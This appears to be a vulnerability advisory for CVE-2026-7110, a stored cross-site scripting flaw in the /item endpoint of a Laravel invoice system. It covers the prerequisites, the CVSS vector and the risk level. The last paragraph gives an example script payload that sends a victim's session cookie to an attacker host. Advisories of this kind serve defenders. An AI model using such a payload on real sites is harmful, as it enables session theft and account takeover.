Invoice System in Laravel CVE-2026-7110

Exploitation requires: (1) valid authentication credentials to access the Invoice System in Laravel application; (2) the ability to create or modify an invoice item with a crafted name/description parameter containing XSS payload; (3) a victim user with higher or equal privileges to view the poisoned item, triggering the reflected/stored XSS in their browser. The attack does not work against unauthenticated users or in default configurations that restrict item creation to administrators, but no specific role or permission model is documented. The vulnerability is limited to the /item endpoint; other application endpoints may not be affected.

This is a moderate-risk XSS vulnerability with several limiting factors. The CVSS 4.0 vector indicates network-accessible attack surface (AV:N, AC:L) but requires prior authentication (PR:L) and user interaction to trigger the XSS payload (UI:P), reducing real-world exploitability. The impact is limited to confidentiality of victim browser session data and potential account compromise (VI:L). Exploitation probability is elevated (E:P per vector) because public exploit code exists, but the authentication and user-interaction barriers mean this is unlikely to be systematized into large-scale automated attacks. For organizations using this niche Laravel package, the risk is elevated due to POC availability; for broader audiences, this remains a lower-priority vulnerability than network-accessible, unauthenticated XSS variants. The EPSS score (not provided in input) would likely reflect the authentication and UI requirements as risk-reducing factors.

An authenticated user (attacker with system access) navigates to the /item creation or editing page and injects a malicious JavaScript payload such as <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> into the item name field. When a victim user subsequently views the item (e.g., in an invoice dashboard or item list), the script executes in their browser context, stealing their session cookie and enabling account takeover or further lateral movement. The publicly available POC (hosted on GitHub gist) demonstrates this injection technique, lowering the barrier to exploitation.